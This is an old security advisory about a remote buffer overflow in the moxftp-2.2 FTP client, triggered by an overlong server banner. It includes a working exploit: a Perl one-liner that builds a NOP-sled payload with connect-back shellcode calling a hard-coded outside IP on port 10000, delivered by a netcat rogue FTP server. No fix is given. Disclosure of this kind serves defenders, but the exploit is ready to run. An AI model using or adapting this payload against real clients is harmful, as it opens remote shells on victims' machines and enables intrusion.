COMMAND

	moxftp remote overlfow

SYSTEMS AFFECTED

	moxftp-2.2 shipping with the  FreeBSD  ports  system  as  well  as  from
	various webpages per 9/2-03 is vulnerable.

PROBLEM

	In Knud Erik Højgaard [kain@ircop.dk] advisory :
	
	 I. BACKGROUND
	
	According to the vendor moxftp is a "Ftp shell under X Window System".
	
	 /usr/ports/ftp/moxftp
	
	 II. DESCRIPTION
	
	Insufficient bounds checking leads to execution of arbitrary code.
	
	 III. ANALYSIS
	
	Upon parsing the '220 welcome to server' ftp  banner  a  buffer  can  be
	overrun, allowing us to execute our arbitrary code. The  buffer  may  be
	constructed as such: [508 bytes][ebp ][eip  ][nops][shellcode].  Placing
	the nops and shellcode in the buffer before  ebp  seems  to  cause  some
	problems, luckily there's plenty of space after eip.
	
	Example run:
	
	$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 . 
	"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\
	 x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\
	 x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\
	 x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file
	# nc -l -p 21 < file
	
	This sets up a rogue server which will overflow the buffer, and  execute
	the shellcode.  The  shellcode  is  connect-back  to  217.157.2.36  port
	10000, replace "\xd9\x9d\x02\x24" with a suitable ip for testing.

SOLUTION

	Unknown